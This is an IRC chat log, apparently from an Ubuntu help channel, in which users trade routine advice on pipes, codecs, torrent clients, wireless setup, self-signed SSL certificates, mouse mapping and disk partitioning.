[03:05] <dwerf> aftertaf > what do you mean with 'pipe it'? i only recently started using linux, it might be a very common linux term and/or command, i just don't know what it is...
[03:06] <Deep6> unvs_, that worked...kinda hackish though
[03:06] <dwerf> thanx!
[03:06] <unvs_> Deep6: ya..
[03:06] <moomooboy> isnt | <-- used for multi commands?
[03:07] <unvs_> piping is sending output to another process
[03:07] <unvs_> ls -l | less
[03:07] <unvs_> etc
[03:08] <stoeptegel> supernix: do you really check the urls? :p
[03:08] <supernix> nah I aint about to click the url for that skum bad
[03:08] <supernix> bag*
[03:09] <aftertaf> he's a scumbag?
[03:09] <Deep6> moomooboy, | is for taking input from the left side of the pipe and feeding it to stdin on the right side
[03:09] <supernix> aftertaf: all spammers are scum of the earth
[03:09] <afaik> hey, #ubuntu-unregged is GREAT... you can't change your nick to identify
[03:09] <Deep6> && and || are for chaining commands
[03:09] <afaik> that's genius
[03:10] <afaik> throw them in a room where they NEED to change their nick, but don't let them
[03:10] <aftertaf> supernix:  didnt notice he was spamming...
[03:17] <twibbler> does anybody know how to configure a pda under ubuntu please?
[03:17] <twibbler> ie ... how to tell which device it is ?..
[03:18] <bipolar> Does anyone know who maintains the OpenOffice2 packages? They are really out of date and having beta 2 released today might make it a good time to update.
[03:18] <apokryphos> afaik: actually, they don't need to change their nick at all
[03:19] <apokryphos> afaik: they need to identify, ideally.
[03:22] <aftertaf> twibbler:  mine worked just by plugging in, running kpilot and hitting the hotsync button.
[03:23] <twibbler> aftertaf: done that .... did you use dev/pilot ?.
[03:27] <twibbler> aftertaf: just installing kpilot ..
[03:28] <Azmodan> I just installed Ubuntu (dual-boot) and Grub hand on stage 1.5
[03:28] <afaik> apokryphos, for people like me, my client connected with the default user's name
[03:29] <afaik> it was a bit moronic I was thrust into #ubuntu-unregged, then couldn't change my nick to my registered nick to identify
[03:29] <afaik> really, wtf is the point of that?
[03:30] <Azmodan> afaik, you just /msg nickserv identify yournick
[03:30] <Azmodan> nickserv remember which nick you had if I am not mistaken
[03:30] <ekimus> any eclipse users here? i want to use the plattform-runtime-binary with just enough stuff to use java projects. but I can't find the necessary plugins on the eclipse page, any help?
[03:30] <unvs_> afaik: if you use irssi, check out the config file in ~/.irssi/
[03:31] <wickedpuppy> ekimus, try #eclipse
[03:31] <apokryphos> afaik: ok, but it's still not a place where you "NEED" to change your nick
[03:33] <apokryphos> afaik: and it doesn't allow you to change because you can't send to channel
[03:35] <aftertaf> anyway, where was I?
[03:36] <Arsonide> Is it just my imagination or does Linux download much faster than XP?
[03:37] <Arsonide> I don't see why it would, but it seems to be.
[03:37] <Kamping_Kaiser> Arsonide: depends on the box
[03:37] <Kamping_Kaiser> and the software :)
[03:37] <humulus> i.e. wget downloads definetly then a browser :)
[03:37] <Arsonide> Alright I'm downloading a new black and white 2 trailer...it's .mov format.
[03:37] <herrpoon> hi does anyone know a good bittorrent client other than the one that comes with ubuntu?
[03:38] <Arsonide> Will I be able to play it or do I need to boot into windows.
[03:38] <Stormx2> Hey
[03:38] <reiki_work> anyone printing directly on CDs usinf Epson R200 or R300 and Turboprint drivers?
[03:38] <apokryphos> herrpoon: Azureus and KTorrent, I use.
[03:38] <Stormx2> Anyone got any suggestions on removing the "Debian" menu in my GNOME menu?
[03:38] <reiki_work> s/using/usinf
[03:38] <herrpoon> right azureus, so il have to install java for that
[03:38] <apokryphos> !azureus
[03:38] <ubotu> rumour has it, azureus is a popular bittorent client written in Java, it can be downloaded from the hoary-extras repository
[03:39] <apokryphos> herrpoon: hoary-extras has java etc too
[03:39] <herrpoon> good
[03:39] <herrpoon> whats ktorrent like?
[03:39] <Arsonide> Does it have video codecs?
[03:39] <herrpoon> configurable?
[03:39] <apokryphos> herrpoon: more lightweight, less CPU-intensive, less featureful currently; one or two things I like.
[03:40] <apokryphos> has an option to download only the files from a torrent that you want, which I like.
[03:40] <herrpoon> right ill think ill give ktorrent a go thanks
[03:40] <apokryphos> But it's lacking in other areas.
[03:40] <herrpoon> hmm well i need one whereby i can sleect the port
[03:40] <apokryphos> herrpoon: both of them allow that
[03:40] <herrpoon> excellent thanks
[03:40] <Stormx2> Anyone got any suggestions on removing the "Debian" menu in my GNOME menu?
[03:41] <apokryphos> !ktorrent
[03:41] <ubotu> KTorrent is a KDE torrent Client. See: http://ktorrent.pwsp.net/index.php?page=downloads ; Ubu repository: deb http://dinton.no-ip.org/ kubuntu main
[03:41] <apokryphos> (haven't tested the repository myself, but it should work).
[03:41] <herrpoon> ahh ok
[03:41] <herrpoon> hehe
[03:42] <Arsonide> Where is it?
[03:42] <apokryphos> Arsonide: where's what?
[03:42] <Arsonide> The repository, I tried something online that should have installed all the "restricted" formats (mp3, avi, etc) but it didn't work.
[03:42] <Arsonide> So I think I need to do it myself.
[03:43] <ManLord> Woohoo! Opera software celebrates 10 Years and is giving away FREE registration codes for all platforms(only for limited hours)! http://my.opera.com/community/party/
[03:43] <apokryphos> w32codecs provides the restricted formats etc
[03:45] <Tobsn> hi
[03:45] <Tobsn> can someone help me with installing ipw2100?
[03:46] <Stormx2> wtf is with the opera stuff!
[03:46] <Stormx2> you can just refresh and get more and more codes! xD
[03:47] <unvs_> they probably just want to spread it as much as possible, before upgrading and changing the way licence-codes validate
[03:47] <Tobsn> can someone help me with installing ipw2100?
[03:48] <wickedpuppy> Tobsn, what is ipw ? is it in repos ?
[03:48] <Arsonide> so I did 'sudo less sources.list' but how do I add a line to the end?
[03:48] <Arsonide> forgot
[03:48] <wickedpuppy> Arsonide, sudo gedit /etc/sources.list
[03:49] <dwerf> who was having trouble with his wacom?
[03:49] <aftertaf> Arsonide:  vim, or echo "text" >> sources.list
[03:49] <Arsonide> oh is less just a text reader?
[03:49] <aftertaf> yep
[03:50] <aftertaf> marketing gimmick
[03:50] <afaik> apokryphos, you miss my point.. you have to change to your reg'd nick to identify
[03:50] <afaik> #ubuntu-unregged forces you to be unable to change your nick
[03:50] <aftertaf> deco & reco with right nick then... ?
[03:50] <afaik> it's just an annoyance, and serves no point.. that channel just has a collection of spam bots anyway
[03:50] <MAPD> hi
[03:51] <MAPD> multiverse thing isnt there a portuguese mirror?
[03:51] <MAPD> i needed xvid and divx
[03:51] <MAPD> :\
[03:51] <Tobsn> wickedpuppy intel wireless drivers...
[03:51] <aftertaf> paste your sources.list to the pastebin MAPD
[03:52] <Arsonide> E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?
[03:52] <Arsonide> That happens when I try sudo apt-get install w32codecs.
[03:52] <aftertaf> Arsonide:  close synaptic
[03:52] <MAPD> aftertaf cant show them right now
[03:52] <aftertaf> or quit other apt-get process
[03:52] <MAPD> :\
[03:52] <Arsonide> :P
[03:52] <Arsonide> lol
[03:53] <aftertaf> MAPD:  in that case, add multiverse to every repos where you have universe...
[03:53] <Arsonide> Package w32codecs is not available, but is referred to by another package.
[03:53] <aftertaf> Arsonide:  multiverse?
[03:53] <Arsonide> I did apt-get update after adding it to sources.list
[03:53] <aftertaf> !info w32codecs
[03:54] <Arsonide> I followed this: http://nozell.com/blog/archives/2005/07/22/w32codecs-for-ubuntu-hoary/
[03:55] <Lichte> !info anjuta
[03:55] <ubotu> anjuta: (A GNOME development IDE, for C/C++), section universe/gnome, is optional. Version: 1.2.2-6ubuntu1 (hoary), Packaged size: 843 kB, Installed size: 2048 kB
[03:56] <Lichte> !info anjuta2
[03:57] <aftertaf> !tell mapd about repository
[03:57] <aftertaf> arf
[03:58] <Arsonide> Searching synaptic for it doesn't work either.
[04:00] <aftertaf> Arsonide:  hoary-extras/restricted....
[04:01] <aftertaf> go to the wiki in the topic and find the example sources.list...
[04:03] <ilba7r> is there a command to tell me the users that are connected at the moment to my pc
[04:03] <vader1102> got a question, my wireless connection doesn't show up in the upper right hand corner, it tells me SICGIFFLAGS error: no such device, can anyone please help me, it does work or I wouldn't bein here
[04:04] <Arsonide> I used the sample list and it just broke more.
[04:04] <ilba7r> vader1102 type iwconfig in a term
[04:04] <ilba7r> and tell me what output you have
[04:04] <vader1102> k
[04:05] <Xanthus7> hello
[04:05] <theD3viL> hey
[04:05] <Xanthus7> I have set up ogle
[04:06] <Xanthus7> and I am getting an error message dvdreadblock got 8 wanted 12 failed
[04:06] <vader1102> ilba7r, http://paste.ubuntulinux.nl/1747
[04:07] <ilba7r> great
[04:07] <MAPD> anyone knows which movie jack nicholson and natalie wood
[04:07] <MAPD> acted together
[04:07] <MAPD> ?
[04:07] <ilba7r> i think you may have eth as the default connection
[04:07] <ilba7r> just type in a terminal
[04:07] <ilba7r> ifdown eth0
[04:07] <ilba7r> sudo ifdown eth0 sorry
[04:07] <ilba7r> sudo ifup wlan0
[04:07] <vader1102> k
[04:08] <Xanthus7> how do I fix this problem
[04:08] <vader1102> allready configured
[04:09] <CarlFK> Xanthus7 -try using vobcopy to copy the DVD to the HD
[04:09] <vader1102> wlan0 is ath0 on mine
[04:09] <Xanthus7> I cannot play it off my dvd disk
[04:09] <CarlFK> Xanthus7 - vobcopy -m
[04:09] <ilba7r> ok than type sudo ifup ath0
[04:09] <vader1102> did and it says device allready configured
[04:10] <ilba7r> ok on your network link at the top corner
[04:10] <ilba7r> click on it and make the default connection to net through ath0
[04:10] <CarlFK> Xanthus7 - if vobcopy can't read it, then either the disk is scratched or dammaged or wasn't burned right (like the movie Hitch)
[04:10] <vader1102> there we fo...ty
[04:10] <vader1102> go
[04:11] <Xanthus7> ok where do I vobcopy
[04:11] <Xanthus7> I played this disk with ogle in fc4
[04:13] <mypapit> !ktorrent
[04:13] <ubotu> KTorrent is a KDE torrent Client. See: http://ktorrent.pwsp.net/index.php?page=downloads ; Ubu repository: deb http://dinton.no-ip.org/ kubuntu main
[04:13] <Xanthus7> vob is reading the disk
[04:13] <mypapit> !lame
[04:13] <ubotu> mypapit: I don't know, could you explain it?
[04:13] <Xanthus7> So Carl is there a problem with the dvd player
[04:13] <mypapit> apokryphos, find lame mp3 encoder
[04:13] <espectro> hi, i am having problems connecting to my windows printer
[04:13] <espectro> in console, i can do:
[04:14] <apokryphos> mypapit: better to investigate with ubotu in /msg
[04:14] <apokryphos> !find lame
[04:14] <ubotu> Ubuntu Package Listing of 'lame' (8 shown): flamethrower ;; glame ;; lame ;; lame-extras ;; liblame-dev ;; liblame0 ;; systemimager-server-flamethrowerd ;; toolame.
[04:14] <CarlFK> Xanthus7 - sudo apt-get install vobcopy
[04:14] <CarlFK> oh, you found it.
[04:14] <apokryphos> mypapit: I take it you want the "lame" package
[04:14] <Xanthus7> I got it and it is coping the disk with no problem Carl
[04:14] <Xanthus7> so it is not the disk
[04:14] <CarlFK> Xanthus7 - it may take about an hour
[04:15] <CarlFK> Xanthus7 you don't know untill it copies the whole disk
[04:15] <apokryphos> mypapit: it's in Multiverse
[04:15] <Xanthus7> OK
[04:20] <Chameleon22> what does IPC$ share on samba do? purpose etc?
[04:22] <LoveBug356> Does someone know of it is possible to make a log or blog with docbook?
[04:23] <apokryphos> LoveBug356: possible, sure; a little unnecessary -- yes.
[04:23] <LoveBug356> apokryphos: I have only a html server
[04:24] <LoveBug356> apokryphos: I want to make a simple,clean log/blog
[04:24] <LoveBug356> apokryphos: any other suggestions
[04:25] <apokryphos> LoveBug356: blosxom (sp) uses Perl, and is good (pretty configurable)
[04:25] <OneSeventeen> I installed cedega via their .deb, do I need to use dpkg to uninstall it, or can I just use synaptic?
[04:25] <apokryphos> you'd need a lot of extra stuff for docbook there, anyway. XML can be annoying :/
[04:25] <funkyHat> does anyone here use sawfish?
[04:25] <funkyHat> i'm utterly fed up with window focus in metacity
[04:26] <chrismy> apokryphos, hey i am registered! :D
[04:26] <apokryphos> excellent
[04:27] <osfameron> the blosxom codebase is terrifying though
[04:27] <apokryphos> osfameron: there's good docs on it; reasonable simple with a little diligence
[04:27] <LoveBug356> apokryphos: I don't have access to run scripts on the server
[04:28] <osfameron> apokryphos, oh, sure - I mean the code *itself*.  Very scarecely commented.  Very *clever* (in the way that people accuse Perl of being :-)
[04:28] <LoveBug356> apokryphos: So I need to upload a html every time
[04:28] <chrismy> apokryphos, what is the signifance of us being registered? what can we do?
[04:28] <apokryphos> LoveBug356: doesn't blogspot just alter the HTML file for you?
[04:29] <apokryphos> chrismy: /msg to ubotu, make sure no-one else takes your username, if your computer dies and chrismy is still on Freenode you can "ghost" it and reclaim your nick etc etc
[04:30] <chrismy> by typing    /mg ubotu help   ??
[04:30] <apokryphos> you'll get output, yes.
[04:30] <thoreauputic> chrismy: you can also set modes like /umode +CE to avoid spam (see /topic)
[04:30] <chrismy> oops...
[04:30] <chrismy> ahh ok
[04:31] <reiki_work> apache question... in order to be able to have a URL as https:// (to establish a secure socket layer) I'm being told I have to "purchase a certificate". The web server won't display a page if https is used. I seem to recall being able to do this without purchasing any kind of certificate. Are they blowing smoke up my ass or what?
[04:31] <theD3viL> Is realy bad to set up root user at install ?
[04:32] <reiki_work> I'm not at home right now or I'd try it on my Ubuntu box
[04:32] <CarlFK> reiki_work - best to ask in #apache, but...
[04:32] <funkyHat> theD3viL, it's not really bad, but why do you need to?
[04:32] <CarlFK> reiki_work - I am pretty sure you can make your own
[04:32] <reiki_work> theD3viL: you really don't need a root user in Ubuntu
[04:32] <thoreauputic> theD3viL: not "really bad" - not really necessary though
[04:32] <reiki_work> CarlFK: that's what I thought
[04:32] <CarlFK> reiki_work but if you make your own it won't be "trusted" or something
[04:33] <reiki_work> CarlFK: really not a problem.. as long as it establishes a secure, encrypted connection
[04:33] <CarlFK> reiki_work - as where the ones from thwarti? and the other "big guys" are setup in "everyone's" browser as "ok"
[04:33] <scanwinder> anyone know how2 set a proxy in dillo?
[04:34] <koneng> can someone tell me how to edit the .xsession file in my home directory?
[04:34] <nerdy2> reiki_work: but that's part of the problem, if it's not trusted,  there's little way to prevent a man in the middle attack
[04:34] <nerdy2> reiki_work: in other words, no way to know that it is secure
[04:34] <sproingie> reiki_work: you can use a self-signed cert, however everyone will get a warning in their browser that the signer isn't trusted the first time they visit
[04:34] <reiki_work> hmmm.... ok... I'll have to look into this more so I don't make stupid mistakes :)
[04:35] <sproingie> reiki_work: this is fine for personal sites, but most professional sites don't want that warning to appear
[04:35] <CarlFK> reiki_work - #apache
[04:35] <reiki_work> sproingie: that's really ok. As long as it's a secure link... y'know?
[04:35] <nerdy2> reiki_work: that's the point of the server signing,  the user presumably trusts certain signing authorities [a list comes with most browsers] ,  these compare the certificate with the domain to make sure that it is the right one [rather than a random untrusted one] 
[04:36] <CarlFK> I think it is like ssh - if you want to be sure, you can move a public/private key pair around on a floppy
[04:36] <nerdy2> reiki_work: this will guarantee the certificate and domain at least go together, which should mean there is no man in the middle
[04:36] <sproingie> reiki_work: for internal sites, it's probably fine.  i just wouldn't go self-signed for customer-facing stuff
[04:37] <CarlFK> so with a little work, you can be 100% sure that your connection is secure (but again, ask they wizards in #apache)
[04:37] <Concord_Dawn> how do I send a SIGHUP signal to a process?
[04:37] <sproingie> i think unless you use bbn's quantum crypto network, you can't ever be 100% sure ;)
[04:38] <nerdy2> Concord_Dawn: kill -HUP <pid>
[04:38] <Concord_Dawn> thanks.
[04:38] <dogson> i manually removed /etc/esound/esd.conf and now i want to reinstall it, and did a apt-get --reinstall install esound-common but i didnt get the file back. why?
[04:38] <koneng> i only see a .xsession-errors file in my home directory. i need to edit the .xsession file. do i just create one? or am i looking in the wrong place?
[04:39] <MAPD> hi
[04:39] <MAPD> everytime i boot my linux
[04:39] <MAPD> it changes my time
[04:39] <MAPD> since it cant uploa
[04:39] <MAPD> update
[04:39] <nerdy2> koneng: if you want one, create one   ;  why do you want one?
[04:39] <MAPD> i cant change it back
[04:39] <MAPD> :
[04:39] <MAPD> :/
[04:39] <sproingie> dogson: dpkg-reconfigure esound
[04:40] <sproingie> dogson: if that doesn't work, try dpkg-reconfigure esound-common
[04:40] <dogson> sproingie, i did, still nothing
[04:41] <dogson> well i guess i can extract it from the deb, but its annoying :P
[04:41] <koneng> nerdy2, i'm trying to get back/forward buttons on my 5 button mouse to work in firefox. so i looked it up here: http://www.ubuntuforums.org/showthread.php?t=28374 it says to edit .xsession file
[04:41] <sproingie> dogson: dunno then.  something had to create it the first time around
[04:41] <MAPD> help pls
[04:42] <nerdy2> koneng: ok, you can create it if it doesn't exist
[04:42] <topyli> yay, breezy did not kill my box after all :)
[04:43] <koneng> nerdy2, do i just type 'gedit .xsession' while im in my /home/user dir to create it?
[04:44] <nerdy2> koneng: that'll suffice
[04:44] <nerdy2> koneng: keep in mind that step may not be necessary
[04:44] <koneng> nerdy2, why do you say that?
[04:44] <nerdy2> koneng: it may suffice to just add ZAxisMapping 4 5 to your input device section of xorg.conf
[04:45] <koneng> instead of 6 7?
[04:45] <nerdy2> koneng: and of course the right mouse protocol (maybe Option Protocol IMPS/2 ...)
[04:45] <nerdy2> koneng: yes
[04:45] <koneng> nerdy2, would you mind explaining what the difference is between 4 5 and 6 7?
[04:46] <nerdy2> (firefox expects the wheel inputs to come in as buttons 4,5 ...   for whatever reason this wasn't working for the guy in that forum, so in addition to changing the mouse protocol he also changed this to 6,7 but then modified the .xsession to /remap/ these to come in as if they were 4,5)
[04:47] <nerdy2> (the xmodmap -e "pointer = 1 2 3 6 7 4 5"   exchanges what buttons 6,7 and 4,5)
[04:47] <theD3viL> Why is totem in every ubuntu? why isnt mplayer or anythink else?
[04:48] <nerdy2> isn't the point of ubuntu to choose one thing and stick with it :)
[04:48] <koneng> nerdy2, oh, i see. i'll try that, thanks for your help
[04:49] <nerdy2> theD3viL: there are other things in the universe/multiverse (mplayer's in the multiverse)
[04:49] <black_13> i need candy!
[04:50] <LoveBug356> apokryphos: How do I run that cgi-script?
[04:50] <theD3viL> yes..i know......but i dont wanna have installed 4players and i need just one !
[04:51] <apokryphos> LoveBug356: it's been about 6 months since I tried blosxom, I have no idea. Check the docs on it.
[04:51] <apokryphos> (I imagine you mean blosxom)
[04:53] <zeus1_> can anyone help me fix sound
[04:54] <Hieronymus> zeus1_: what is the problem
[04:54] <zeus1_> i cant here any sound in my usb headset hieronymus
[04:55] <zeus1_> and its not being detected in device manager
[04:57] <Hieronymus> zeus1_: from what I know, Ubuntu can't handle more than 1 soundcard properly (yet). Some USB headsets are in fact/have a soundcard. I heard (but am not sure), that it'll be fixed in the next Ubuntu release (october)
[04:58] <zeus1_> hieronymus: thank u...i guess i have to go back to the doze to listen to my tunes :(
[04:58] <Hieronymus> zeus1_: I'm not sure, but this looks similar to your problem: http://ubuntuforums.org/showthread.php?t=2803
[05:00] <lexmark2> just ran into a problem here.. I just installed Alien.. but I am dont know how to open the program?
[05:00] <zeus1_> thank u hieronymus i will chek that out
[05:00] <topyli> lexmark2: it's not an interactive program, you just run it on a target file
[05:01] <topyli> lexmark2: like "alien -i foo.rpm"
[05:01] <OneSeventeen> Our windows machines here at work were hit by the recent worm outbreaks, and I need to help troubleshoot, but I can't seem to replicate the issue with my ubuntu box.... :p
[05:01] <topyli> OneSeventeen: yeah, linux's virus support sucks
[05:01] <cemc> :)
[05:02] <lexmark2> oh
[05:02] <lexmark2> thank topy
[05:02] <nerdy2> theD3viL: that's kinda the point, why not use totem then?
[05:02] <zeus1_> damn it...this is too hard...guess i have to wait until october...is it hard to upgrade to breezy??
[05:03] <theD3viL> nerdy2, couse totem dont have much options
[05:03] <zeus1_> when it comes out that is....
[05:03] <Hieronymus> zeus1_: not when it's stable/released
[05:03] <zeus1_> So is there just a button u click when breezy is released to just upgrade from Hoary
[05:03] <dwerf> what are my options with video editing on Linux?
[05:03] <nerdy2> theD3viL: options?
[05:03] <aru> dwerf: Kino is good
[05:04] <aru> thats what I use
[05:04] <theD3viL> nerdy2, yes.. totem even dont have STOP button !!!
[05:04] <Butcherbird_Jr> zeus1_, cant you use apt get do update distro
[05:04] <dwerf> aru > is it available through synaptic?
[05:04] <zeus1_> umm idk butcherbird_jr
[05:04] <aru> dwerf: yes it is
[05:04] <nerdy2> theD3viL: it has a pause button
[05:04] <theD3viL> aru, Kino is for video editing
[05:04] <aru> theD3viL: isn't that what he asked for?
[05:05] <Hieronymus> zeus1_: I'm not sure about via the network (might need to change some configuration), but if you insert a Breezy Badger CD, you will be asked if you want to upgrade
[05:05] <topyli> theD3viL: stop buttons are obsolete. tape recorders need them, totem doesn't
[05:05] <funkyHat> the gtk-qt theme engine is crap :(
[05:05] <zeus1_> oh ok....that sounds easy enough
[05:05] <Butcherbird_Jr> zeus1_, I think it is apt-get upgrade distro
[05:05] <lexmark2> topy, I am trying to locate the parameters for Alien.. could not locate it in their website
[05:05] <zeus1_> so is it a CD or apt-get???
[05:05] <zeus1_> im confused now :(
[05:05] <lexmark2> do you happen to know whats the command line to convert RPM to deb?
[05:05] <Butcherbird_Jr> zeus1_, either
[05:05] <aru> System > Administration > Ubuntu Update Manager
[05:05] <topyli> lexmark2: read the man page, it's always nearby
[05:05] <zeus1_> k.
[05:06] <theD3viL> topyli, so when you want to stop movie you must close programm
[05:06] <lexmark2> http://www.kitenet.net/programs/alien/
[05:06] <lexmark2> thats the page right?
[05:06] <zeus1_> i relly like ubuntu....but im really upset that i cant get my sound to work...it basically ruins the whole thing for me :(
[05:06] <adjacent> how do i permanently add something to the PATH of a certain user (or system-wide, for that matter)...? I've edited .bashrc, but it doesnt seem to apply when i open a new Terminal
[05:06] <adjacent> zeus1_: what sndcard?
[05:06] <aru> zeus1_: yeah...
[05:06] <aru> heh
[05:07] <topyli> theD3viL: i don't see the use case. either you pause, you change the movie, or you exit
[05:07] <zeus1_> adjacent : nvidia soundforce
[05:07] <zeus1_> and also a plantronics dsp 500 head set
[05:07] <adjacent> zeus1_: can you see it if you run lspci?
[05:07] <zeus1_> sec
[05:07] <theD3viL> topyli, so you using totem '
[05:07] <topyli> i am
[05:07] <aru> zeus1_: you have no sound what so ever, or just when you try certian types of media?
[05:08] <zeus1_> adjacent: no I dont see it
[05:08] <zeus1_> aru: I have no sound in the headset...it works perfectly fine through the speakers
[05:08] <funkyHat> is there a plastik-like theme for gtk2?
[05:08] <topyli> darn. lyx takes forever to build. this is as bad as mozilla or something
[05:08] <nerdy2> theD3viL: are you saying you want to get an hour or two through a movie, and then stop it and restart from the beginning?
[05:08] <aru> funkyHat: did you check out gnome-look.org and art.gnome.org
[05:09] <adjacent> zeus1_: oh, how does the headset interface with the soundcard? just a minijack?
[05:09] <funkyHat> yeah, i can't find anything at the moment
[05:09] <dwerf> aru - it's installed now, does it support multiple sound and/or audio layers?
[05:09] <aru> zeus1_: well my only guess is... are they plugged in? :)
[05:09] <theD3viL> nerdy2, no...just asking...so all of you using TOTEM?
[05:09] <Concord_Dawn> ubotu: tell funkyHat about art
[05:09] <Concord_Dawn> ubotu: tell funkyHat about themes
[05:09] <topyli> hehe
[05:09] <zeus1_> aru: ....lol yes they are...they work fine in windows XP
[05:09] <Bergcube> What are the rules-of-thumb concerning partition sizes?  I've read various docs on this, but they're always rather general.  I'm thinking about how big does /boot, / , and swap NEED to be?
[05:09] <aru> hey... sometimes you never know
[05:09] <zeus1_> adjacent: Umm...idk I think its seperate from the card
[05:10] <jeaah> where I can download gcc for ubuntu?
[05:10] <adjacent> anyone know about that PATH question? how to add something to the global PATH?
[05:10] <apokryphos> jeaah: sudo aptitude install build-essential
[05:10] <adjacent> zeus1_: sorry, im really not familiar with that headset....
[05:10] <nerdy2> theD3viL: yes i use totem
[05:10] <Hieronymus> jeaah: you can install it with apt-get
[05:10] <Butcherbird_Jr> lexmark2, alien -d "filename"
[05:10] <topyli> theD3viL: there's a reason totem is the gnome default. it works like gnome apps do, without some weird skinned interface
[05:10] <nerdy2> theD3viL: and no you don't want that feature?   but you are complaining that totem doesn't have it?!
[05:10] <zeus1_> adjacent: k
[05:10] <jeaah> apokryphos: I can't - it says that I must install gcc and g++
[05:11] <DjKritical> Is there a linux equivilent of windows deamon tools?
[05:11] <apokryphos> jeaah: that *brings in* those
[05:11] <adjacent> DjKritical: mount?
[05:11] <apokryphos> jeaah: are you connected to the Internet?
[05:11] <apokryphos> (on that computer)
[05:11] <jeaah> NO!
[05:11] <Bergcube> DjKritical~ I have to agree with adjacent.  You can simply mount the ISO.
[05:11] <jeaah> :(((
[05:12] <jeaah> that's the problem
[05:12] <aru> zeus1_: http://www.wombatnation.com/2004/06/skype-on-linux
[05:12] <DjKritical> I didn't realise you could mount an ISO? what about other Image formats?
[05:12] <adjacent> DjKritical: something like "mount -t iso9660 file.iso /mnt/cdimage"
[05:12] <Hieronymus> jeaah: you can use a CD
[05:12] <lexmark2> thanks Butcherbird
[05:12] <nerdy2> theD3viL: it's kinda absurd to complain it is missing something that no one would ever use (including yourself) :)
[05:12] <aru> zeus1_: on that message board they talk about getting the same headset working on fedora...
[05:12] <jeaah> Hieronymus: how ?
[05:12] <Fabse> what do i have to do to register a ttf font file with the font server (under breezy)
[05:12] <lexmark2> thanks Butcherbird_Jr
[05:12] <Bergcube> DjKritical~ Thou shalt not have other image formats than ISO!  :-D  :-D  :-D
[05:12] <Hieronymus> jeaah: you can install packages from a CD
[05:13] <theD3viL> nerdy2,hm... ?
[05:13] <Hieronymus> jeaah: do you have a ubuntu installation cd?
[05:13] <zeus1_> aru: k thx...i will take a look
[05:13] <jeaah> Hieronymus: yes
[05:13] <aru> zeus1_: it's actually after the article, down in the comments
[05:13] <DjKritical> Bergcube, lol yeah.. I guess I can just convert the other formats... stupid windows programs making their own formats! (nrg/nero... alcohol)
[05:13] <Butcherbird_Jr> np
[05:13] <nerdy2> theD3viL: i asked "so you want the opportunity to stop midway through a long movie and start it over from the beginning" and you said "no"   i take that to mean you agree that there's no use for a stop button
[05:14] <jeaah> Hieronymus: i have cd but how to do it?
[05:14] <zeus1_> aru : i found this ... maybe this can help http://www.mail-archive.com/alsa-user@lists.sourceforge.net/msg08090.html
[05:14] <Bergcube> I'm nagging:  What are the rules-of-thumb concerning partition sizes?  I've read various docs on this, but they're always rather general.  I'm thinking about how big does /boot, / , and swap NEED to be?  (I plan to put /home on a partition of it's own, and I want it as large as I can...)
[05:14] <Bergcube> DjKritical~ I thought Nero could make ISO-images directly?
[05:14] <topyli> nerdy2: it's possible of course. you can drag the progress bar back to the beginning (or anywhere you like)
[05:14] <dwerf> people, i've been using ubuntu for 2 weeks now and i just wanted to let all of you know i've completely fallen in love with linux
[05:14] <osfameron> nerdy2, actually, it annoys me that, for example, iTunes doesn't have a stop button.  I know it's irrational, but I find that fact that you can only pause songs discomforting
[05:15] <apokryphos> jeaah: sudo apt-get install gcc
[05:15] <apokryphos> it's on the CD, I think
[05:15] <aru> zeus1_: if it were my headset, I would throw it down and cry... but I give up easy
[05:15] <Hieronymus> jeaah: Open Synaptic package manager, inside Synaptic press configuration -> repositories
[05:15] <DjKritical> Bergcube, by default it makes NRG... and a lot of my images wern't made by me
[05:15] <zeus1_> aru: lol...I have been at this for 4 days..I posted a topic on the forums and have had to bump it 5 times because its getting no replies
[05:15] <DjKritical> It's all good tho, no big deal to convert them
[05:15] <nerdy2> topyli: yes and even if it was some long dvd, you could also press b a few times, and so the keynav's also sufficiently easy
[05:15] <CarlFK> is there a comman line way to get an image from a usb web cam?  (I have a few models)
[05:15] <Hieronymus> jeaah: It might be something different, I use Dutch menus, so I'm not really sure what it's called
[05:15] <nerdy2> topyli: but it's hardly ever useful
[05:16] <Bergcube> DjKritical~ Ah.  Well, then I guess that's the easiest tweak.
[05:16] <apokryphos> Hieronymus: I don't think he needs to... CD is uncommented by default, no?
[05:16] <Fabse> what do i have to do to register a ttf font file with the font server (under breezy)
[05:16] <Hieronymus> apokryphos: I'm not really sure, that's why I'm asking him to check ;-)
[05:16] <dwerf> if the default name of thunderbird is mozilla-thunderbird, how can i change it?
[05:16] <topyli> nerdy2: no it's not. otherwise we would have a "play it again sam" button :)
[05:17] <apokryphos> dwerf: change it? As in, change the executable for it?
[05:17] <Bergcube> Is there really NOBODY that have partitioned their disks manually?
[05:17] <Hieronymus> Bergcube: what do you mean by manually?
[05:17] <topyli> Bergcube: no, we use software for that ;)
[05:17] <nerdy2> Bergcube: heh boot needs to be large enough to handle a few kernels
[05:17] <CarlFK> Hieronymus - using a hex editor ;)
[05:17] <Hieronymus> Bergcube: I used the 'advanced' mode if that's what you mean
[05:17] <Bergcube> Hieronymus~ I mean, choosing on your own how big the various partitions are to be and what file system they shall hold.....
[05:17] <dwerf> apokryphos > no, change the name for the shell, so i don't need to type 'mozilla-thunderbird'
[05:18] <Hieronymus> CarlFK: :)
[05:18] <Hieronymus> Bergcube: I did that
[05:18] <topyli> Bergcube: of course
[05:18] <nerdy2> Bergcube: and at the same time, probably small and near the beginning of the disk to prevent problems
[05:18] <adjacent> Bergcube: i think most people do that, unless its their first or second install
[05:18] <Bergcube> Hieronymus~ Yeah, in advanced.
[05:18] <dwerf> apokryphos > like just 'thun'
[05:18] <Tobsn> hmm how to remove the error "SIOCGIFFLAGS-Error: No Device found" when i'am clicking on the networkicon
[05:18] <Tobsn> ...?
[05:18] <apokryphos> dwerf: ...for it to open up thunderbird? Yes, that *is* changing the executable for it
[05:18] <aru> during the install it said "we're gunna kill everything and make it some elite linux format" and I clicked the Alright button
[05:18] <apokryphos> dwerf: just make a symbolic link to mozilla-thunderbird in bin/
[05:18] <dwerf> apokryphos > cool
[05:18] <adjacent> Bergcube: personally i think its a bad idea not to put /var on its own partition
[05:19] <CarlFK> adjacent -I used to do manual, then i realized the installers did a pretty good job, so now I just let it do what ever it wants, and havn't regrted it
[05:19] <sorush20> how do I get a sony handycam to work with Ubuntu
[05:19] <spiderworm> hey all, all of the sudden firefox (and only firefox) has become extremely slow to respond to mouse clicks, one to two seconds, anyone hear of this problem before?
[05:19] <topyli> dwerf: /usr/bin rather. thunderbird is hardly an essential system tool
